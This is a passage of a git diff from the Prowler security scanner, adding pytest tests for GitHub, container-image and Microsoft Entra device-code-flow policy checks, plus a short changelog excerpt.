return_value=set_mocked_github_provider(), + ), + mock.patch( + "prowler.providers.github.services.organization.organization_repository_deletion_limited.organization_repository_deletion_limited.organization_client", + new=organization_client, + ), + ): + from prowler.providers.github.services.organization.organization_repository_deletion_limited.organization_repository_deletion_limited import ( + organization_repository_deletion_limited, + ) + + check = organization_repository_deletion_limited() + result = check.execute() + assert len(result) == 2 + + # Find results by organization name + results_by_name = {r.resource_name: r for r in result} + + assert org_name_1 in results_by_name + assert results_by_name[org_name_1].status == "PASS" + + assert org_name_2 in results_by_name + assert results_by_name[org_name_2].status == "FAIL" + + # org_name_3 should not be in results because setting is None + assert org_name_3 not in results_by_name diff --git a/tests/providers/iac/iac_provider_test.py b/tests/providers/iac/iac_provider_test.py index 318ae549bd..fc98c097d8 100644 --- a/tests/providers/iac/iac_provider_test.py +++ b/tests/providers/iac/iac_provider_test.py @@ -61,7 +61,9 @@ class TestIacProvider: assert report.check_metadata.CheckID == SAMPLE_FAILED_CHECK["ID"] assert report.check_metadata.CheckTitle == SAMPLE_FAILED_CHECK["Title"] assert report.check_metadata.Severity == "low" - assert report.check_metadata.RelatedUrl == SAMPLE_FAILED_CHECK["PrimaryURL"] + assert report.check_metadata.RelatedUrl == SAMPLE_FAILED_CHECK.get( + "PrimaryURL", "" + ) def test_iac_provider_process_finding_passed(self): """Test processing a passed finding""" diff --git a/tests/providers/image/image_provider_test.py b/tests/providers/image/image_provider_test.py index b25e9edfc2..2db7a8fe48 100644 --- a/tests/providers/image/image_provider_test.py +++ b/tests/providers/image/image_provider_test.py @@ -53,7 +53,7 @@ class TestImageProvider: assert provider._type == "image" assert provider.type == "image" assert provider.images == ["alpine:3.18"] - assert provider.scanners == ["vuln", "secret"] + assert provider.scanners == ["vuln", "secret", "misconfig"] assert provider.image_config_scanners == [] assert provider.trivy_severity == [] assert provider.ignore_unfixed is False @@ -143,7 +143,7 @@ class TestImageProvider: assert report.image_sha == "c1aabb73d233" assert report.resource_details == "alpine:3.18 (alpine 3.18.0)" assert report.region == "container" - assert report.check_metadata.Categories == ["vulnerability"] + assert report.check_metadata.Categories == ["vulnerabilities"] assert report.check_metadata.RelatedUrl == "" def test_process_finding_secret(self): @@ -698,8 +698,118 @@ class TestExtractRegistry: class TestIsRegistryUrl: - def test_registry_url_with_namespace(self): - assert ImageProvider._is_registry_url("docker.io/andoniaf") is True + def test_bare_ecr_hostname(self): + assert ImageProvider._is_registry_url( + "714274078102.dkr.ecr.eu-west-1.amazonaws.com" + ) + + def test_bare_hostname_with_port(self): + assert ImageProvider._is_registry_url("myregistry.com:5000") + + def test_bare_ghcr(self): + assert ImageProvider._is_registry_url("ghcr.io") + + def test_registry_with_namespace_only(self): + """Registry URL with a single path segment (no tag) is a registry URL.""" + assert ImageProvider._is_registry_url("ghcr.io/myorg") + + def test_image_reference_not_registry(self): + """Full image reference with repo and tag is not a registry URL.""" + assert not ImageProvider._is_registry_url("ghcr.io/myorg/repo:tag") + + def test_simple_image_name(self): + assert not ImageProvider._is_registry_url("alpine:3.18") + + def test_bare_image_no_tag(self): + assert not ImageProvider._is_registry_url("nginx") + + def test_dockerhub_namespace(self): + assert not ImageProvider._is_registry_url("library/alpine") + + +class TestTestRegistryConnection: + @patch("prowler.providers.image.image_provider.create_registry_adapter") + def test_registry_connection_success(self, mock_factory): + """Test that a bare hostname triggers registry catalog test.""" + mock_adapter = MagicMock() + mock_adapter.list_repositories.return_value = ["repo1"] + mock_factory.return_value = mock_adapter + + result = ImageProvider.test_connection( + image="714274078102.dkr.ecr.eu-west-1.amazonaws.com", + registry_username="user", + registry_password="pass", + ) + + assert result.is_connected is True + mock_factory.assert_called_once_with( + registry_url="714274078102.dkr.ecr.eu-west-1.amazonaws.com", + username="user", + password="pass", + token=None, + ) + mock_adapter.list_repositories.assert_called_once() + + @patch("prowler.providers.image.image_provider.create_registry_adapter") + def test_registry_connection_auth_failure(self, mock_factory): + """Test that 401 from registry adapter returns auth failure.""" + mock_adapter = MagicMock() + mock_adapter.list_repositories.side_effect = Exception("401 unauthorized") + mock_factory.return_value = mock_adapter + + result = ImageProvider.test_connection( + image="714274078102.dkr.ecr.eu-west-1.amazonaws.com", + ) + + assert result.is_connected is False + assert "Authentication failed" in result.error + + @patch("prowler.providers.image.image_provider.create_registry_adapter") + def test_registry_connection_generic_error(self, mock_factory): + """Test that a generic error from registry adapter returns error message.""" + mock_adapter = MagicMock() + mock_adapter.list_repositories.side_effect = Exception("connection refused") + mock_factory.return_value = mock_adapter + + result = ImageProvider.test_connection( + image="myregistry.example.com", + ) + + assert result.is_connected is False + assert "Failed to connect to registry" in result.error + + @patch("prowler.providers.image.image_provider.create_registry_adapter") + def test_image_reference_uses_registry_adapter(self, mock_factory): + """Test that a full image reference uses registry adapter to verify tag.""" + mock_adapter = MagicMock() + mock_adapter.list_tags.return_value = ["3.18", "latest"] + mock_factory.return_value = mock_adapter + + result = ImageProvider.test_connection(image="alpine:3.18") + + assert result.is_connected is True + mock_adapter.list_tags.assert_called_once() + + +class TestTrivyAuthIntegration: + @patch("subprocess.run") + def test_run_scan_passes_trivy_env_with_credentials(self, mock_subprocess): + """Test that run_scan() passes TRIVY_USERNAME/PASSWORD via env when credentials are set.""" + mock_subprocess.return_value = MagicMock( + returncode=0, stdout=get_sample_trivy_json_output(), stderr="" + ) + provider = _make_provider( + images=["ghcr.io/user/image:tag"], + registry_username="myuser", + registry_password="mypass", + ) + + list(provider.run_scan()) + + call_kwargs = mock_subprocess.call_args + env = call_kwargs.kwargs.get("env") or call_kwargs[1].get("env") + assert env["TRIVY_USERNAME"] == "myuser" + assert env["TRIVY_PASSWORD"] == "mypass" def test_registry_url_ghcr(self): assert ImageProvider._is_registry_url("ghcr.io/org") is True @@ -734,6 +844,16 @@ class TestCleanup: provider.cleanup() provider.cleanup() + def test_cleanup_removes_trivy_cache_dir(self): + """Test that cleanup removes the temporary Trivy cache directory.""" + provider = _make_provider() + cache_dir = provider._trivy_cache_dir + assert os.path.isdir(cache_dir) + + provider.cleanup() + + assert not os.path.isdir(cache_dir) + class TestImageProviderInputValidation: def test_invalid_timeout_format_raises_error(self): @@ -804,6 +924,22 @@ class TestImageProviderInputValidation: with pytest.raises(ImageInvalidConfigScannerError): _make_provider(image_config_scanners=["misconfig", "vuln"]) + @patch("subprocess.run") + def test_trivy_command_includes_cache_dir(self, mock_subprocess): + """Test that Trivy command includes --cache-dir for cache isolation.""" + provider = _make_provider() + mock_subprocess.return_value = MagicMock( + returncode=0, stdout=get_empty_trivy_output(), stderr="" + ) + + for _ in provider._scan_single_image("alpine:3.18"): + pass + + call_args = mock_subprocess.call_args[0][0] + assert "--cache-dir" in call_args + idx = call_args.index("--cache-dir") + assert call_args[idx + 1] == provider._trivy_cache_dir + @patch("subprocess.run") def test_trivy_command_includes_image_config_scanners(self, mock_subprocess): """Test that Trivy command includes --image-config-scanners when set.""" diff --git a/tests/providers/m365/services/entra/entra_conditional_access_policy_device_code_flow_blocked/entra_conditional_access_policy_device_code_flow_blocked_test.py b/tests/providers/m365/services/entra/entra_conditional_access_policy_device_code_flow_blocked/entra_conditional_access_policy_device_code_flow_blocked_test.py new file mode 100644 index 0000000000..8c0a6a86f8 --- /dev/null +++ b/tests/providers/m365/services/entra/entra_conditional_access_policy_device_code_flow_blocked/entra_conditional_access_policy_device_code_flow_blocked_test.py @@ -0,0 +1,882 @@ +from unittest import mock +from uuid import uuid4 + +from prowler.providers.m365.services.entra.entra_service import ( + ApplicationEnforcedRestrictions, + ApplicationsConditions, + AuthenticationFlows, + ConditionalAccessGrantControl, + ConditionalAccessPolicyState, + Conditions, + GrantControlOperator, + GrantControls, + PersistentBrowser, + SessionControls, + SignInFrequency, + SignInFrequencyInterval, + TransferMethod, + UsersConditions, +) +from tests.providers.m365.m365_fixtures import DOMAIN, set_mocked_m365_provider + + +class Test_entra_conditional_access_policy_device_code_flow_blocked: + def test_no_conditional_access_policies(self): + entra_client = mock.MagicMock + entra_client.audited_tenant = "audited_tenant" + entra_client.audited_domain = DOMAIN + with ( + mock.patch( + "prowler.providers.common.provider.Provider.get_global_provider", + return_value=set_mocked_m365_provider(), + ), + mock.patch( + "prowler.providers.m365.services.entra.entra_conditional_access_policy_device_code_flow_blocked.entra_conditional_access_policy_device_code_flow_blocked.entra_client", + new=entra_client, + ), + ): + from prowler.providers.m365.services.entra.entra_conditional_access_policy_device_code_flow_blocked.entra_conditional_access_policy_device_code_flow_blocked import ( + entra_conditional_access_policy_device_code_flow_blocked, + ) + + entra_client.conditional_access_policies = {} + + check = entra_conditional_access_policy_device_code_flow_blocked() + result = check.execute() + assert len(result) == 1 + assert result[0].status == "FAIL" + assert ( + result[0].status_extended + == "No Conditional Access Policy blocks device code flow." + ) + assert result[0].resource == {} + assert result[0].resource_name == "Conditional Access Policies" + assert result[0].resource_id == "conditionalAccessPolicies" + assert result[0].location == "global" + + def test_policy_disabled(self): + policy_id = str(uuid4()) + display_name = "Block Device Code Flow" + entra_client = mock.MagicMock + entra_client.audited_tenant = "audited_tenant" + entra_client.audited_domain = DOMAIN + + with ( + mock.patch( + "prowler.providers.common.provider.Provider.get_global_provider", + return_value=set_mocked_m365_provider(), + ), + mock.patch( + "prowler.providers.m365.services.entra.entra_conditional_access_policy_device_code_flow_blocked.entra_conditional_access_policy_device_code_flow_blocked.entra_client", + new=entra_client, + ), + ): + from prowler.providers.m365.services.entra.entra_conditional_access_policy_device_code_flow_blocked.entra_conditional_access_policy_device_code_flow_blocked import ( + entra_conditional_access_policy_device_code_flow_blocked, + ) + from prowler.providers.m365.services.entra.entra_service import ( + ConditionalAccessPolicy, + ) + + entra_client.conditional_access_policies = { + policy_id: ConditionalAccessPolicy( + id=policy_id, + display_name=display_name, + conditions=Conditions( + application_conditions=ApplicationsConditions( + included_applications=["All"], + excluded_applications=[], + included_user_actions=[], + ), + user_conditions=UsersConditions( + included_groups=[], + excluded_groups=[], + included_users=["All"], + excluded_users=[], + included_roles=[], + excluded_roles=[], + ), + client_app_types=[], + user_risk_levels=[], + authentication_flows=AuthenticationFlows( + transfer_methods=[TransferMethod.DEVICE_CODE_FLOW] + ), + ), + grant_controls=GrantControls( + built_in_controls=[ + ConditionalAccessGrantControl.BLOCK, + ], + operator=GrantControlOperator.AND, + authentication_strength=None, + ), + session_controls=SessionControls( + persistent_browser=PersistentBrowser( + is_enabled=False, mode="always" + ), + sign_in_frequency=SignInFrequency( + is_enabled=False, + frequency=None, + type=None, + interval=SignInFrequencyInterval.EVERY_TIME, + ), + application_enforced_restrictions=ApplicationEnforcedRestrictions( + is_enabled=False + ), + ), + state=ConditionalAccessPolicyState.DISABLED, + ) + } + + check = entra_conditional_access_policy_device_code_flow_blocked() + result = check.execute() + assert len(result) == 1 + assert result[0].status == "FAIL" + assert ( + result[0].status_extended + == "No Conditional Access Policy blocks device code flow." + ) + assert result[0].resource == {} + assert result[0].resource_name == "Conditional Access Policies" + assert result[0].resource_id == "conditionalAccessPolicies" + assert result[0].location == "global" + + def test_policy_no_authentication_flows(self): + policy_id = str(uuid4()) + display_name = "Block Legacy Auth" + entra_client = mock.MagicMock + entra_client.audited_tenant = "audited_tenant" + entra_client.audited_domain = DOMAIN + + with ( + mock.patch( + "prowler.providers.common.provider.Provider.get_global_provider", + return_value=set_mocked_m365_provider(), + ), + mock.patch( + "prowler.providers.m365.services.entra.entra_conditional_access_policy_device_code_flow_blocked.entra_conditional_access_policy_device_code_flow_blocked.entra_client", + new=entra_client, + ), + ): + from prowler.providers.m365.services.entra.entra_conditional_access_policy_device_code_flow_blocked.entra_conditional_access_policy_device_code_flow_blocked import ( + entra_conditional_access_policy_device_code_flow_blocked, + ) + from prowler.providers.m365.services.entra.entra_service import ( + ConditionalAccessPolicy, + ) + + entra_client.conditional_access_policies = { + policy_id: ConditionalAccessPolicy( + id=policy_id, + display_name=display_name, + conditions=Conditions( + application_conditions=ApplicationsConditions( + included_applications=["All"], + excluded_applications=[], + included_user_actions=[], + ), + user_conditions=UsersConditions( + included_groups=[], + excluded_groups=[], + included_users=["All"], + excluded_users=[], + included_roles=[], + excluded_roles=[], + ), + client_app_types=[], + user_risk_levels=[], + ), + grant_controls=GrantControls( + built_in_controls=[ + ConditionalAccessGrantControl.BLOCK, + ], + operator=GrantControlOperator.AND, + authentication_strength=None, + ), + session_controls=SessionControls( + persistent_browser=PersistentBrowser( + is_enabled=False, mode="always" + ), + sign_in_frequency=SignInFrequency( + is_enabled=False, + frequency=None, + type=None, + interval=SignInFrequencyInterval.EVERY_TIME, + ), + application_enforced_restrictions=ApplicationEnforcedRestrictions( + is_enabled=False + ), + ), + state=ConditionalAccessPolicyState.ENABLED, + ) + } + + check = entra_conditional_access_policy_device_code_flow_blocked() + result = check.execute() + assert len(result) == 1 + assert result[0].status == "FAIL" + assert ( + result[0].status_extended + == "No Conditional Access Policy blocks device code flow." + ) + assert result[0].resource == {} + assert result[0].resource_name == "Conditional Access Policies" + assert result[0].resource_id == "conditionalAccessPolicies" + assert result[0].location == "global" + + def test_policy_enabled_for_reporting(self): + policy_id = str(uuid4()) + display_name = "Block Device Code Flow" + entra_client = mock.MagicMock + entra_client.audited_tenant = "audited_tenant" + entra_client.audited_domain = DOMAIN + + with ( + mock.patch( + "prowler.providers.common.provider.Provider.get_global_provider", + return_value=set_mocked_m365_provider(), + ), + mock.patch( + "prowler.providers.m365.services.entra.entra_conditional_access_policy_device_code_flow_blocked.entra_conditional_access_policy_device_code_flow_blocked.entra_client", + new=entra_client, + ), + ): + from prowler.providers.m365.services.entra.entra_conditional_access_policy_device_code_flow_blocked.entra_conditional_access_policy_device_code_flow_blocked import ( + entra_conditional_access_policy_device_code_flow_blocked, + ) + from prowler.providers.m365.services.entra.entra_service import ( + ConditionalAccessPolicy, + ) + + entra_client.conditional_access_policies = { + policy_id: ConditionalAccessPolicy( + id=policy_id, + display_name=display_name, + conditions=Conditions( + application_conditions=ApplicationsConditions( + included_applications=["All"], + excluded_applications=[], + included_user_actions=[], + ), + user_conditions=UsersConditions( + included_groups=[], + excluded_groups=[], + included_users=["All"], + excluded_users=[], + included_roles=[], + excluded_roles=[], + ), + client_app_types=[], + user_risk_levels=[], + authentication_flows=AuthenticationFlows( + transfer_methods=[TransferMethod.DEVICE_CODE_FLOW] + ), + ), + grant_controls=GrantControls( + built_in_controls=[ + ConditionalAccessGrantControl.BLOCK, + ], + operator=GrantControlOperator.AND, + authentication_strength=None, + ), + session_controls=SessionControls( + persistent_browser=PersistentBrowser( + is_enabled=False, mode="always" + ), + sign_in_frequency=SignInFrequency( + is_enabled=False, + frequency=None, + type=None, + interval=SignInFrequencyInterval.EVERY_TIME, + ), + application_enforced_restrictions=ApplicationEnforcedRestrictions( + is_enabled=False + ), + ), + state=ConditionalAccessPolicyState.ENABLED_FOR_REPORTING, + ) + } + + check = entra_conditional_access_policy_device_code_flow_blocked() + result = check.execute() + assert len(result) == 1 + assert result[0].status == "FAIL" + assert ( + result[0].status_extended + == f"Conditional Access Policy '{display_name}' reports device code flow but does not block it." + ) + assert ( + result[0].resource + == entra_client.conditional_access_policies[policy_id].dict() + ) + assert result[0].resource_name == display_name + assert result[0].resource_id == policy_id + assert result[0].location == "global" + + def test_policy_enabled_blocks_device_code_flow(self): + policy_id = str(uuid4()) + display_name = "Block Device Code Flow" + entra_client = mock.MagicMock + entra_client.audited_tenant = "audited_tenant" + entra_client.audited_domain = DOMAIN + + with ( + mock.patch( + "prowler.providers.common.provider.Provider.get_global_provider", + return_value=set_mocked_m365_provider(), + ), + mock.patch( + "prowler.providers.m365.services.entra.entra_conditional_access_policy_device_code_flow_blocked.entra_conditional_access_policy_device_code_flow_blocked.entra_client", + new=entra_client, + ), + ): + from prowler.providers.m365.services.entra.entra_conditional_access_policy_device_code_flow_blocked.entra_conditional_access_policy_device_code_flow_blocked import ( + entra_conditional_access_policy_device_code_flow_blocked, + ) + from prowler.providers.m365.services.entra.entra_service import ( + ConditionalAccessPolicy, + ) + + entra_client.conditional_access_policies = { + policy_id: ConditionalAccessPolicy( + id=policy_id, + display_name=display_name, + conditions=Conditions( + application_conditions=ApplicationsConditions( + included_applications=["All"], + excluded_applications=[], + included_user_actions=[], + ), + user_conditions=UsersConditions( + included_groups=[], + excluded_groups=[], + included_users=["All"], + excluded_users=[], + included_roles=[], + excluded_roles=[], + ), + client_app_types=[], + user_risk_levels=[], + authentication_flows=AuthenticationFlows( + transfer_methods=[TransferMethod.DEVICE_CODE_FLOW] + ), + ), + grant_controls=GrantControls( + built_in_controls=[ + ConditionalAccessGrantControl.BLOCK, + ], + operator=GrantControlOperator.AND, + authentication_strength=None, + ), + session_controls=SessionControls( + persistent_browser=PersistentBrowser( + is_enabled=False, mode="always" + ), + sign_in_frequency=SignInFrequency( + is_enabled=False, + frequency=None, + type=None, + interval=SignInFrequencyInterval.EVERY_TIME, + ), + application_enforced_restrictions=ApplicationEnforcedRestrictions( + is_enabled=False + ), + ), + state=ConditionalAccessPolicyState.ENABLED, + ) + } + + check = entra_conditional_access_policy_device_code_flow_blocked() + result = check.execute() + assert len(result) == 1 + assert result[0].status == "PASS" + assert ( + result[0].status_extended + == f"Conditional Access Policy '{display_name}' blocks device code flow." + ) + assert ( + result[0].resource + == entra_client.conditional_access_policies[policy_id].dict() + ) + assert result[0].resource_name == display_name + assert result[0].resource_id == policy_id + assert result[0].location == "global" + + def test_policy_different_transfer_method(self): + policy_id = str(uuid4()) + display_name = "Block Auth Transfer" + entra_client = mock.MagicMock + entra_client.audited_tenant = "audited_tenant" + entra_client.audited_domain = DOMAIN + + with ( + mock.patch( + "prowler.providers.common.provider.Provider.get_global_provider", + return_value=set_mocked_m365_provider(), + ), + mock.patch( + "prowler.providers.m365.services.entra.entra_conditional_access_policy_device_code_flow_blocked.entra_conditional_access_policy_device_code_flow_blocked.entra_client", + new=entra_client, + ), + ): + from prowler.providers.m365.services.entra.entra_conditional_access_policy_device_code_flow_blocked.entra_conditional_access_policy_device_code_flow_blocked import ( + entra_conditional_access_policy_device_code_flow_blocked, + ) + from prowler.providers.m365.services.entra.entra_service import ( + ConditionalAccessPolicy, + ) + + entra_client.conditional_access_policies = { + policy_id: ConditionalAccessPolicy( + id=policy_id, + display_name=display_name, + conditions=Conditions( + application_conditions=ApplicationsConditions( + included_applications=["All"], + excluded_applications=[], + included_user_actions=[], + ), + user_conditions=UsersConditions( + included_groups=[], + excluded_groups=[], + included_users=["All"], + excluded_users=[], + included_roles=[], + excluded_roles=[], + ), + client_app_types=[], + user_risk_levels=[], + authentication_flows=AuthenticationFlows( + transfer_methods=[TransferMethod.AUTHENTICATION_TRANSFER] + ), + ), + grant_controls=GrantControls( + built_in_controls=[ + ConditionalAccessGrantControl.BLOCK, + ], + operator=GrantControlOperator.AND, + authentication_strength=None, + ), + session_controls=SessionControls( + persistent_browser=PersistentBrowser( + is_enabled=False, mode="always" + ), + sign_in_frequency=SignInFrequency( + is_enabled=False, + frequency=None, + type=None, + interval=SignInFrequencyInterval.EVERY_TIME, + ), + application_enforced_restrictions=ApplicationEnforcedRestrictions( + is_enabled=False + ), + ), + state=ConditionalAccessPolicyState.ENABLED, + ) + } + + check = entra_conditional_access_policy_device_code_flow_blocked() + result = check.execute() + assert len(result) == 1 + assert result[0].status == "FAIL" + assert ( + result[0].status_extended + == "No Conditional Access Policy blocks device code flow." + ) + assert result[0].resource == {} + assert result[0].resource_name == "Conditional Access Policies" + assert result[0].resource_id == "conditionalAccessPolicies" + assert result[0].location == "global" + + def test_multiple_policies_first_disabled_second_enabled(self): + disabled_id = str(uuid4()) + enabled_id = str(uuid4()) + enabled_name = "Block Device Code Flow - Enabled" + entra_client = mock.MagicMock + entra_client.audited_tenant = "audited_tenant" + entra_client.audited_domain = DOMAIN + + with ( + mock.patch( + "prowler.providers.common.provider.Provider.get_global_provider", + return_value=set_mocked_m365_provider(), + ), + mock.patch( + "prowler.providers.m365.services.entra.entra_conditional_access_policy_device_code_flow_blocked.entra_conditional_access_policy_device_code_flow_blocked.entra_client", + new=entra_client, + ), + ): + from prowler.providers.m365.services.entra.entra_conditional_access_policy_device_code_flow_blocked.entra_conditional_access_policy_device_code_flow_blocked import ( + entra_conditional_access_policy_device_code_flow_blocked, + ) + from prowler.providers.m365.services.entra.entra_service import ( + ConditionalAccessPolicy, + ) + + entra_client.conditional_access_policies = { + disabled_id: ConditionalAccessPolicy( + id=disabled_id, + display_name="Block Device Code Flow - Disabled", + conditions=Conditions( + application_conditions=ApplicationsConditions( + included_applications=["All"], + excluded_applications=[], + included_user_actions=[], + ), + user_conditions=UsersConditions( + included_groups=[], + excluded_groups=[], + included_users=["All"], + excluded_users=[], + included_roles=[], + excluded_roles=[], + ), + client_app_types=[], + user_risk_levels=[], + authentication_flows=AuthenticationFlows( + transfer_methods=[TransferMethod.DEVICE_CODE_FLOW] + ), + ), + grant_controls=GrantControls( + built_in_controls=[ + ConditionalAccessGrantControl.BLOCK, + ], + operator=GrantControlOperator.AND, + authentication_strength=None, + ), + session_controls=SessionControls( + persistent_browser=PersistentBrowser( + is_enabled=False, mode="always" + ), + sign_in_frequency=SignInFrequency( + is_enabled=False, + frequency=None, + type=None, + interval=SignInFrequencyInterval.EVERY_TIME, + ), + application_enforced_restrictions=ApplicationEnforcedRestrictions( + is_enabled=False + ), + ), + state=ConditionalAccessPolicyState.DISABLED, + ), + enabled_id: ConditionalAccessPolicy( + id=enabled_id, + display_name=enabled_name, + conditions=Conditions( + application_conditions=ApplicationsConditions( + included_applications=["All"], + excluded_applications=[], + included_user_actions=[], + ), + user_conditions=UsersConditions( + included_groups=[], + excluded_groups=[], + included_users=["All"], + excluded_users=[], + included_roles=[], + excluded_roles=[], + ), + client_app_types=[], + user_risk_levels=[], + authentication_flows=AuthenticationFlows( + transfer_methods=[TransferMethod.DEVICE_CODE_FLOW] + ), + ), + grant_controls=GrantControls( + built_in_controls=[ + ConditionalAccessGrantControl.BLOCK, + ], + operator=GrantControlOperator.AND, + authentication_strength=None, + ), + session_controls=SessionControls( + persistent_browser=PersistentBrowser( + is_enabled=False, mode="always" + ), + sign_in_frequency=SignInFrequency( + is_enabled=False, + frequency=None, + type=None, + interval=SignInFrequencyInterval.EVERY_TIME, + ), + application_enforced_restrictions=ApplicationEnforcedRestrictions( + is_enabled=False + ), + ), + state=ConditionalAccessPolicyState.ENABLED, + ), + } + + check = entra_conditional_access_policy_device_code_flow_blocked() + result = check.execute() + assert len(result) == 1 + assert result[0].status == "PASS" + assert ( + result[0].status_extended + == f"Conditional Access Policy '{enabled_name}' blocks device code flow." + ) + assert ( + result[0].resource + == entra_client.conditional_access_policies[enabled_id].dict() + ) + assert result[0].resource_name == enabled_name + assert result[0].resource_id == enabled_id + assert result[0].location == "global" + + def test_policy_not_targeting_all_users(self): + policy_id = str(uuid4()) + display_name = "Block Device Code Flow - Specific Group" + entra_client = mock.MagicMock + entra_client.audited_tenant = "audited_tenant" + entra_client.audited_domain = DOMAIN + + with ( + mock.patch( + "prowler.providers.common.provider.Provider.get_global_provider", + return_value=set_mocked_m365_provider(), + ), + mock.patch( + "prowler.providers.m365.services.entra.entra_conditional_access_policy_device_code_flow_blocked.entra_conditional_access_policy_device_code_flow_blocked.entra_client", + new=entra_client, + ), + ): + from prowler.providers.m365.services.entra.entra_conditional_access_policy_device_code_flow_blocked.entra_conditional_access_policy_device_code_flow_blocked import ( + entra_conditional_access_policy_device_code_flow_blocked, + ) + from prowler.providers.m365.services.entra.entra_service import ( + ConditionalAccessPolicy, + ) + + entra_client.conditional_access_policies = { + policy_id: ConditionalAccessPolicy( + id=policy_id, + display_name=display_name, + conditions=Conditions( + application_conditions=ApplicationsConditions( + included_applications=["All"], + excluded_applications=[], + included_user_actions=[], + ), + user_conditions=UsersConditions( + included_groups=["some-group-id"], + excluded_groups=[], + included_users=[], + excluded_users=[], + included_roles=[], + excluded_roles=[], + ), + client_app_types=[], + user_risk_levels=[], + authentication_flows=AuthenticationFlows( + transfer_methods=[TransferMethod.DEVICE_CODE_FLOW] + ), + ), + grant_controls=GrantControls( + built_in_controls=[ + ConditionalAccessGrantControl.BLOCK, + ], + operator=GrantControlOperator.AND, + authentication_strength=None, + ), + session_controls=SessionControls( + persistent_browser=PersistentBrowser( + is_enabled=False, mode="always" + ), + sign_in_frequency=SignInFrequency( + is_enabled=False, + frequency=None, + type=None, + interval=SignInFrequencyInterval.EVERY_TIME, + ), + application_enforced_restrictions=ApplicationEnforcedRestrictions( + is_enabled=False + ), + ), + state=ConditionalAccessPolicyState.ENABLED, + ) + } + + check = entra_conditional_access_policy_device_code_flow_blocked() + result = check.execute() + assert len(result) == 1 + assert result[0].status == "FAIL" + assert ( + result[0].status_extended + == "No Conditional Access Policy blocks device code flow." + ) + assert result[0].resource == {} + assert result[0].resource_name == "Conditional Access Policies" + assert result[0].resource_id == "conditionalAccessPolicies" + assert result[0].location == "global" + + def test_policy_not_targeting_all_cloud_apps(self): + policy_id = str(uuid4()) + display_name = "Block Device Code Flow - Specific App" + entra_client = mock.MagicMock + entra_client.audited_tenant = "audited_tenant" + entra_client.audited_domain = DOMAIN + + with ( + mock.patch( + "prowler.providers.common.provider.Provider.get_global_provider", + return_value=set_mocked_m365_provider(), + ), + mock.patch( + "prowler.providers.m365.services.entra.entra_conditional_access_policy_device_code_flow_blocked.entra_conditional_access_policy_device_code_flow_blocked.entra_client", + new=entra_client, + ), + ): + from prowler.providers.m365.services.entra.entra_conditional_access_policy_device_code_flow_blocked.entra_conditional_access_policy_device_code_flow_blocked import ( + entra_conditional_access_policy_device_code_flow_blocked, + ) + from prowler.providers.m365.services.entra.entra_service import ( + ConditionalAccessPolicy, + ) + + entra_client.conditional_access_policies = { + policy_id: ConditionalAccessPolicy( + id=policy_id, + display_name=display_name, + conditions=Conditions( + application_conditions=ApplicationsConditions( + included_applications=["some-app-id"], + excluded_applications=[], + included_user_actions=[], + ), + user_conditions=UsersConditions( + included_groups=[], + excluded_groups=[], + included_users=["All"], + excluded_users=[], + included_roles=[], + excluded_roles=[], + ), + client_app_types=[], + user_risk_levels=[], + authentication_flows=AuthenticationFlows( + transfer_methods=[TransferMethod.DEVICE_CODE_FLOW] + ), + ), + grant_controls=GrantControls( + built_in_controls=[ + ConditionalAccessGrantControl.BLOCK, + ], + operator=GrantControlOperator.AND, + authentication_strength=None, + ), + session_controls=SessionControls( + persistent_browser=PersistentBrowser( + is_enabled=False, mode="always" + ), + sign_in_frequency=SignInFrequency( + is_enabled=False, + frequency=None, + type=None, + interval=SignInFrequencyInterval.EVERY_TIME, + ), + application_enforced_restrictions=ApplicationEnforcedRestrictions( + is_enabled=False + ), + ), + state=ConditionalAccessPolicyState.ENABLED, + ) + } + + check = entra_conditional_access_policy_device_code_flow_blocked() + result = check.execute() + assert len(result) == 1 + assert result[0].status == "FAIL" + assert ( + result[0].status_extended + == "No Conditional Access Policy blocks device code flow." + ) + assert result[0].resource == {} + assert result[0].resource_name == "Conditional Access Policies" + assert result[0].resource_id == "conditionalAccessPolicies" + assert result[0].location == "global" + + def test_policy_with_device_code_flow_but_no_block(self): + policy_id = str(uuid4()) + display_name = "MFA for Device Code Flow" + entra_client = mock.MagicMock + entra_client.audited_tenant = "audited_tenant" + entra_client.audited_domain = DOMAIN + + with ( + mock.patch( + "prowler.providers.common.provider.Provider.get_global_provider", + return_value=set_mocked_m365_provider(), + ), + mock.patch( + "prowler.providers.m365.services.entra.entra_conditional_access_policy_device_code_flow_blocked.entra_conditional_access_policy_device_code_flow_blocked.entra_client", + new=entra_client, + ), + ): + from prowler.providers.m365.services.entra.entra_conditional_access_policy_device_code_flow_blocked.entra_conditional_access_policy_device_code_flow_blocked import ( + entra_conditional_access_policy_device_code_flow_blocked, + ) + from prowler.providers.m365.services.entra.entra_service import ( + ConditionalAccessPolicy, + ) + + entra_client.conditional_access_policies = { + policy_id: ConditionalAccessPolicy( + id=policy_id, + display_name=display_name, + conditions=Conditions( + application_conditions=ApplicationsConditions( + included_applications=["All"], + excluded_applications=[], + included_user_actions=[], + ), + user_conditions=UsersConditions( + included_groups=[], + excluded_groups=[], + included_users=["All"], + excluded_users=[], + included_roles=[], + excluded_roles=[], + ), + client_app_types=[], + user_risk_levels=[], + authentication_flows=AuthenticationFlows( + transfer_methods=[TransferMethod.DEVICE_CODE_FLOW] + ), + ), + grant_controls=GrantControls( + built_in_controls=[ + ConditionalAccessGrantControl.MFA, + ], + operator=GrantControlOperator.AND, + authentication_strength=None, + ), + session_controls=SessionControls( + persistent_browser=PersistentBrowser( + is_enabled=False, mode="always" + ), + sign_in_frequency=SignInFrequency( + is_enabled=False, + frequency=None, + type=None, + interval=SignInFrequencyInterval.EVERY_TIME, + ), + application_enforced_restrictions=ApplicationEnforcedRestrictions( + is_enabled=False + ), + ), + state=ConditionalAccessPolicyState.ENABLED, + ) + } + + check = entra_conditional_access_policy_device_code_flow_blocked() + result = check.execute() + assert len(result) == 1 + assert result[0].status == "FAIL" + assert ( + result[0].status_extended + == "No Conditional Access Policy blocks device code flow." + ) + assert result[0].resource == {} + assert result[0].resource_name == "Conditional Access Policies" + assert result[0].resource_id == "conditionalAccessPolicies" + assert result[0].location == "global" diff --git a/ui/CHANGELOG.md b/ui/CHANGELOG.md index bff954f997..2c17bcc5d6 100644 --- a/ui/CHANGELOG.md +++ b/ui/CHANGELOG.md @@ -2,25 +2,44 @@ All notable changes to the **Prowler UI** are documented in this file. -## [1.20.0] (Prowler v5.20.0 UNRELEASED) +## [1.21.0] (Prowler v5.21.0) + +### 🚀 Added + +- Skill system to Lighthouse AI [(#10322)](https://github.com/prowler-cloud/prowler/pull/10322) +- Skill for creating custom queries on Attack Paths 